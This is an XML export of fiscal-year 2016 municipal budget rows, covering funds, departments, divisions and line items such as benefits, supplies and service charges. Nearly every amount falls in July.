<row _id="19792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1322</total></row>
<row _id="19793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106</total></row>
<row _id="19794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578090.0</object><object_description>415 PCH MAINT REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1850936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1850936</total></row>
<row _id="19796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6598</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6598</total></row>
<row _id="19798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8020</total></row>
<row _id="19799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>648</total></row>
<row _id="19800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4750</total></row>
<row _id="19801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>650</total></row>
<row _id="19802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1190327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1190327</total></row>
<row _id="19803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4981</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4981</total></row>
<row _id="19805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1063</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1063</total></row>
<row _id="19806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>406</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>406</total></row>
<row _id="19808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="19809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3115</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3115</total></row>
<row _id="19810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>57691</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57691</total></row>
<row _id="19811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>480</total></row>
<row _id="19812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>160000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>160000</total></row>
<row _id="19813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8448</total></row>
<row _id="19815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561700.0</object><object_description>TEMP RELOCATION FOOD PROVIDERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12306</total></row>
<row _id="19816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13000</total></row>
<row _id="19817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407610.0</object><object_description>I-NET REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-36400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-36400</total></row>
<row _id="19818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="19819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1632</total></row>
<row _id="19820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10299</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10299</total></row>
<row _id="19821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="19822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="19823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4196</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4196</total></row>
<row _id="19824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38209</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38209</total></row>
<row _id="19825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4664</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4664</total></row>
<row _id="19826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5310</total></row>
<row _id="19827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24155</total></row>
<row _id="19828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>550</total></row>
<row _id="19829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>351</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>351</total></row>
<row _id="19830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7636</total></row>
<row _id="19831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="19832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16256</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16256</total></row>
<row _id="19833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6179</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6179</total></row>
<row _id="19836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43852</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43852</total></row>
<row _id="19837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18801</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18801</total></row>
<row _id="19838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401004.0</object><object_description>SWIM CENTER-PERMIT GROUPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-154500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154500</total></row>
<row _id="19839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3165</total></row>
<row _id="19840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>499308</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>499308</total></row>
